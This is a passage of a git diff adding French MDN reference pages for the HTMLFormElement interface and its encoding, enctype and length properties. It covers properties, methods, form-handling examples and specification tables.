+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>La propriété <strong><code>HTMLFormElement.encoding</code></strong> est un nom alternatif pour l'élément {{domxref("HTMLFormElement.enctype","enctype")}} de l'objet {{domxref("HTMLFormElement")}} du DOM.</p>
diff --git a/files/fr/web/api/htmlformelement/enctype/index.html b/files/fr/web/api/htmlformelement/enctype/index.html
new file mode 100644
index 0000000000..c78cfc4b29
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/enctype/index.html
@@ -0,0 +1,26 @@
+---
+title: HTMLFormElement.enctype
+slug: Web/API/HTMLFormElement/enctype
+translation_of: Web/API/HTMLFormElement/enctype
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propriété <code><strong>HTMLFormElement.enctype</strong></code> représente le type de contenu de l'élément  {{HTMLElement("form")}}.</p>
+
+<p>Le type d'encodage généralement utilisé est "application/x-www-form-urlencoded".</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>string</em> = form.enctype
+form.enctype = <em>string</em>
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">form.enctype = "application/x-www-form-urlencoded";</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/html5/forms.html#attr-fs-enctype" title="http://www.w3.org/TR/html5/association-of-controls-and-forms.html#dom-fs-method">HTML 5, Section 4.10.19.6, Form submission</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-84227810">DOM Level 2 HTML: enctype</a></p>
diff --git a/files/fr/web/api/htmlformelement/index.html b/files/fr/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..6cbdaa5313
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/index.html
@@ -0,0 +1,223 @@
+---
+title: form
+slug: Web/API/HTMLFormElement
+tags:
+  - API
+  - Contrôles
+  - DOM
+  - Formulaire
+  - HTML
+  - Interface
+translation_of: Web/API/HTMLFormElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>L'interface <strong><code>HTMLFormElement</code></strong> représente un élément  {{HTMLElement("form")}} dans le DOM ; il peut être utilisé pour accéder et, dans quelques cas, modifier l'aspect du formulaire, ainsi que pour accéder à ses éléments composants.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite aussi des propriétés de son parent {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.elements")}}{{ReadOnlyInline}}</dt>
+ <dd>Un élément {{domxref("HTMLFormControlsCollection")}} regroupant les différents contrôles associés à ce formulaire.</dd>
+ <dt>{{domxref("HTMLFormElement.length")}}{{ReadOnlyInline}}</dt>
+ <dd>Une valeur de type <code>long</code> indiquant le nombre de contrôles dans le formulaire.</dd>
+ <dt>{{domxref("HTMLFormElement.name")}}</dt>
+ <dd>Une chaîne {{domxref("DOMString")}} indiquant la valeur de l'attribut HTML {{htmlattrxref("name", "form")}} pour ce formulaire et qui correspond au nom du formulaire.</dd>
+ <dt>{{domxref("HTMLFormElement.method")}}</dt>
+ <dd>Une chaîne {{domxref("DOMString")}} indiquant la valeur de l'attribut HTML {{htmlattrxref("method", "form")}} pour ce formulaire et qui correspond à la méthode HTTP utilisée pour envoyer le formulaires. Seules certaines valeurs peuvent être utilisées avec cette propriété.</dd>
+ <dt>{{domxref("HTMLFormElement.target")}}</dt>
+ <dd>Une chaîne {{domxref("DOMString")}} indiquant la valeur de l'attribut HTML {{htmlattrxref("target", "form")}} pour ce formulaire et qui indique l'emplacement où seront affichées les résultats après envoi du formulaire.</dd>
+ <dt>{{domxref("HTMLFormElement.action")}}</dt>
+ <dd>Une chaîne {{domxref("DOMString")}} indiquant la valeur de l'attribut HTML {{htmlattrxref("action", "form")}} pour ce formulaire et qui contient l'URI d'un programme traitant les informations transmises via le formulaire.</dd>
+ <dt>{{domxref("HTMLFormElement.encoding")}} ou {{domxref("HTMLFormElement.enctype")}}</dt>
+ <dd>Une chaîne {{domxref("DOMString")}} indiquant la valeur de l'attribut HTML {{htmlattrxref("enctype", "form")}} pour ce formulaire et qui correspond au type de contenu utilisé pour transmettre les données du formulaire vers le serveur. Seules certaines valeurs peuvent être utilisées pour cette propriété. Les deux noms indiqués pour la méthode sont synonymes.</dd>
+ <dt>{{domxref("HTMLFormElement.acceptCharset")}}</dt>
+ <dd>Une chaîne {{domxref("DOMString")}} indiquant la valeur de l'attribut HTML {{htmlattrxref("accept-charset", "form")}} pour ce formulaire et qui correspond au jeu de caractères / à l'encodage pris en charge par le serveur.</dd>
+ <dt>{{domxref("HTMLFormElement.autocomplete")}}</dt>
+ <dd>Une chaîne {{domxref("DOMString")}} indiquant la valeur de l'attribut HTML {{htmlattrxref("autocomplete", "form")}} pour ce formulaire et qui indique si les contrôles du formulaire sont automatiquement renseignés par le navigateur.</dd>
+ <dt>{{domxref("HTMLFormElement.noValidate")}}</dt>
+ <dd>Un booléen indiquant la valeur de l'attribut HTML {{htmlattrxref("novalidate", "form")}} pour ce formulaire et qui indique si le formulaire ne devrait pas être validé.</dd>
+</dl>
+
+<p>Les champs de saisie nommés sont ajoutés comme propriétés sur leurs formulaires associés. Ces propriétés peuvent surcharger les propriétés natives si elles utilisent le même nom ! Par exemple, un formulaire disposant d'un {{HTMLElement("&lt;input&gt;")}} nommé <code>action</code> surchargera la propriété native <code>action</code> et tout appel renverra le champ <code>input</code> plutôt que la valeur de l'attribut HTML {{htmlattrxref("action", "form")}}.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite aussi des méthodes de son parent {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.submit()")}}</dt>
+ <dd>soumet le formulaire au serveur.</dd>
+ <dt>{{domxref("HTMLFormElement.reset()")}}</dt>
+ <dd>redéfinit le formulaire à son état initial.</dd>
+ <dt>{{domxref("HTMLFormElement.checkValidity()")}}</dt>
+ <dd>renvoie <code>true</code> si les contrôles du formulaire sont soumis à des contraintes de validation et les respectent. Elle renvoie <code>false</code> si certains contrôles ne respectent pas leurs contraintes. Elle déclenche un évènement {{event("invalid")}} pour chaque contrôle qui ne respecte pas ses contraintes. De tels contrôles sont considérés invalides si l'évènement n'est pas annulé. C'est au développeur de choisir comment réagir face à la valeur <code>false</code> produite par cette méthode.</dd>
+ <dt>{{domxref("HTMLFormElement.reportValidity()")}}</dt>
+ <dd>renvoie <code>true</code> si les contrôles du formulaire respectent leurs contraintes de validation. Lorsque <code>false</code> est renvoyé, des évènements annulables {{Event("invalid")}} sont déclenchés pour chaque contrôle invalide et les problèmes de validation sont rapportés à l'utilisateur.</dd>
+ <dt>{{domxref("HTMLFormElement.requestAutocomplete()")}} {{obsolete_inline}}</dt>
+ <dd>déclenche une interface native du navigateur afin d'aider les utilisateurs à remplir les champs pour lesquels <a href="https://html.spec.whatwg.org/#autofill-field-name">la valeur nommée du champ à remplissage automatique</a> ne vaut pas <code>off</code> ou <code>on</code>. Le formulaire reçoit un évènement lorsque l'utilisateur a fini d'intéragir avec l'interface, l'événement sera {{event("autocomplete")}} si les champs ont bien été remplis ou {{event("autocompleteerror")}} s'il y a eu un problème. <strong>Cette méthode a été retirée de Chrome et Firefox — cf. {{bug(1270740)}} pour plus d'informations et les raisons associées.</strong></dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<h3 id="Obtention_d'un_objet_élément_de_formulaire">Obtention d'un objet élément de formulaire</h3>
+
+<p>Pour obtenir un objet <code>HTMLFormElement</code>, vous pouvez utiliser un <a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS">sélecteur CSS</a> avec {{domxref("ParentNode.querySelector", "querySelector()")}}  ou vous pouvez obtenir une liste de tous les formulaires du document utilisant sa propriété {{domxref("Document.forms", "forms")}}.</p>
+
+<p>{{domxref("Document.forms")}} renvoie un tableau des objets <code>HTMLFormElement</code> listant chacun des formulaires de la page. Vous pouvez utiliser alors l'une des syntaxes suivantes pour obtenir un formulaire individuel :</p>
+
+<dl>
+ <dt><code>document.forms[<em>index</em>]</code></dt>
+ <dd>renvoie le formulaire à l'<code>index</code> spécifié dans le tableau du formulaire.</dd>
+ <dt><code>document.forms[<em>id</em>]</code></dt>
+ <dd>renvoie le formulaire dont l'ID (<em>identifiant</em>) est <code>id</code> .</dd>
+ <dt><code>document.forms[<em>name</em>]</code></dt>
+ <dd>renvoie le formulaire dont la valeur d'attribut de {{domxref("Element.name", "name")}} est <code>name</code>.</dd>
+</dl>
+
+<h3 id="Accès_aux_éléments_du_formulaire">Accès aux éléments du formulaire</h3>
+
+<p>Vous pouvez accéder à la liste des éléments contenant des données dans le formulaire en examinant la propriété {{domxref ("HTMLFormElement.elements", "elements")}}. Ceci retourne une {{domxref ("HTMLFormControlsCollection")}} listant tous les éléments d'entrée de données utilisateur du formulaire, aussi bien ceux qui sont des descendants du <code>&lt;form&gt;</code> que ceux déclarés membres du formulaire par leurs attributs.</p>
+
+<h3 id="Éléments_considérés_comme_des_contrôles_de_formulaire">Éléments considérés comme des contrôles de formulaire</h3>
+
+<p>Les éléments qui sont inclus par <code>HTMLFormElement.elements</code> et  <code>HTMLFormElement.length</code> sont :</p>
+
+<ul>
+ <li>{{HTMLElement("button")}} (<em>bouton</em>)</li>
+ <li>{{HTMLElement("fieldset")}} (<em>champ</em>s)</li>
+ <li>{{HTMLElement("input")}} (<em>entrée</em>) (à l'exception de ceux dont {{htmlattrxref("type", "input")}} est <code>"image"</code> omis pour des raisons historiques)</li>
+ <li>{{HTMLElement("object")}} (<em>objet</em>)</li>
+ <li>{{HTMLElement("output")}} (<em>sortie</em>)</li>
+ <li>{{HTMLElement("select")}} (<em>sélection</em>)</li>
+ <li>{{HTMLElement("textarea")}} (<em>zone de texte</em>)</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Crée un nouvel élément de formulaire, modifie ses attributs et l'envoie :</p>
+
+<pre class="brush: js">var f = document.createElement("form"); // On crée un formulaire
+document.body.appendChild(f);           // On l'ajoute au corps du document
+f.action = "/cgi-bin/some.cgi";         // On y ajoute des attributs action et method
+f.method = "POST"
+f.submit();                             // On appelle la méhtode submit pour l'envoyer
+</pre>
+
+<p id="Extraction_d'informations_et_définition_d'attributs">Extrait des informations d'un élément de formulaire et définit quelques uns de ses attributs :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>formA<span class="punctuation token">"</span></span> <span class="attr-name token">action</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>/cgi-bin/test<span class="punctuation token">"</span></span> <span class="attr-name token">method</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>post<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;Appuyez sur "Info" pour les détails du formulaire, ou "Définir" pour modifier ces détails</span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>getFormInfo();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Info<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>setFormInfo(this.form);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Set<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Reset<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>form-info<span class="punctuation token">"</span></span> <span class="attr-name token">rows</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>15<span class="punctuation token">"</span></span> <span class="attr-name token">cols</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>20<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>textarea</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+  <span class="keyword token">function</span> <span class="function token">getFormInfo</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+    <span class="comment token">// Obtenir une référence au formulaire par son nom</span>
+    <span class="keyword token">var</span> f <span class="operator token">=</span> document<span class="punctuation token">.</span>forms<span class="punctuation token">[</span><span class="string token">"formA"</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+    <span class="comment token">// Les propriétés du formulaire qui nous intéressent</span>
+    <span class="keyword token">var</span> properties <span class="operator token">=</span> <span class="punctuation token">[</span> <span class="string token">'elements'</span><span class="punctuation token">,</span> <span class="string token">'length'</span><span class="punctuation token">,</span> <span class="string token">'name'</span><span class="punctuation token">,</span> <span class="string token">'charset'</span><span class="punctuation token">,</span> <span class="string token">'action'</span><span class="punctuation token">,</span> <span class="string token">'acceptCharset'</span><span class="punctuation token">,</span> <span class="string token">'action'</span><span class="punctuation token">,</span> <span class="string token">'enctype'</span><span class="punctuation token">,</span> <span class="string token">'method'</span><span class="punctuation token">,</span> <span class="string token">'target'</span> <span class="punctuation token">]</span><span class="punctuation token">;</span>
+    <span class="comment token">// Itérer sur les propriétés en les transformant en une chaîne que nous pouvons afficher à l'utilisateur</span>
+    <span class="keyword token">var</span> info <span class="operator token">=</span> properties<span class="punctuation token">.</span><span class="function token">reduce</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>property<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> property <span class="operator token">+</span> <span class="string token">": "</span> <span class="operator token">+</span> f<span class="punctuation token">[</span>property<span class="punctuation token">]</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="string token">""</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span><span class="string token">"\n"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    <span class="comment token">// Définir les &lt;textarea&gt; du formulaire pour en afficher les propriétés</span>
+    document<span class="punctuation token">.</span>forms<span class="punctuation token">[</span><span class="string token">"formA"</span><span class="punctuation token">]</span><span class="punctuation token">.</span>elements<span class="punctuation token">[</span><span class="string token">'form-info'</span><span class="punctuation token">]</span><span class="punctuation token">.</span>value <span class="operator token">=</span> info<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">function</span> <span class="function token">setFormInfo</span><span class="punctuation token">(</span>f<span class="punctuation token">)</span><span class="punctuation token">{</span> <span class="comment token">//L'argument doit être une référence d'élément de formulaire.</span>
+    f<span class="punctuation token">.</span>action <span class="operator token">=</span> <span class="string token">"a-different-url.cgi"</span><span class="punctuation token">;</span>
+    f<span class="punctuation token">.</span>name   <span class="operator token">=</span> <span class="string token">"a-different-name"</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p id="Envoyer_un_formulaire_via_une_popup">Envoi d'un formulaire dans une nouvelle fenêtre :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>!doctype</span> <span class="attr-name token">html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>utf-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Example new-window form submission<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">action</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>test.php<span class="punctuation token">"</span></span> <span class="attr-name token">target</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>_blank<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span>First name: <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>firstname<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span>Last name: <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>lastname<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>password<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pwd<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>fieldset</span><span class="punctuation token">&gt;</span></span>
+   <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>legend</span><span class="punctuation token">&gt;</span></span>Pet preference<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>legend</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pet<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>cat<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span> Cat<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pet<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>dog<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span> Dog<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>fieldset</span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>fieldset</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>legend</span><span class="punctuation token">&gt;</span></span>Owned vehicles<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>legend</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>checkbox<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>vehicle<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Bike<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>I have a bike<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>checkbox<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>vehicle<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Car<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>I have a car<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>fieldset</span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span><span class="punctuation token">&gt;</span></span>Submit<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Envoi_de_formulaires_et_téléchargement_de_fichiers_en_utilisant_XMLHttpRequest">Envoi de formulaires et téléchargement de fichiers en utilisant <code>XMLHttpRequest</code></h3>
+
+<p>Vous pouvez consulter <a href="https://developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest#Submitting_forms_and_uploading_files">ce paragraphe</a> si vous souhaitez en savoir plus pour sérialiser et envoyer un formulaire grâce à l'API {{domxref("XMLHttpRequest")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#the-form-element", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ajout de la méthode <code>requestAutocomplete()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-form-element", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Les propriétés de l'élément renvoient un élément {{domxref("HTMLFormControlsCollection")}} plutôt qu'un {{domxref("HTMLCollection")}} (changement principalement technique). Ajout de la méthode <code>checkValidity()</code>. Ajout des propriétés <code>autocomplete</code>, <code>noValidate</code> et <code>encoding</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-40002357', 'HTMLFormElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-40002357', 'HTMLFormElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.HTMLFormElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément HTML qui implémente cette interface {{HTMLElement("form")}}.</li>
+</ul>
diff --git a/files/fr/web/api/htmlformelement/length/index.html b/files/fr/web/api/htmlformelement/length/index.html
new file mode 100644
index 0000000000..9ca717ea44
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/length/index.html
@@ -0,0 +1,29 @@
+---
+title: HTMLFormElement.length
+slug: Web/API/HTMLFormElement/length
+translation_of: Web/API/HTMLFormElement/length
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>La propriété en lecture seule <code><strong>HTMLFormElement.length</strong></code> retourne le nombre de contrôles présents dans l'élément {{HTMLElement("Form")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>integer</var> = form.length
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">if (document.getElementById("form1").length &gt; 1) {
+  // more than one form control here
+}
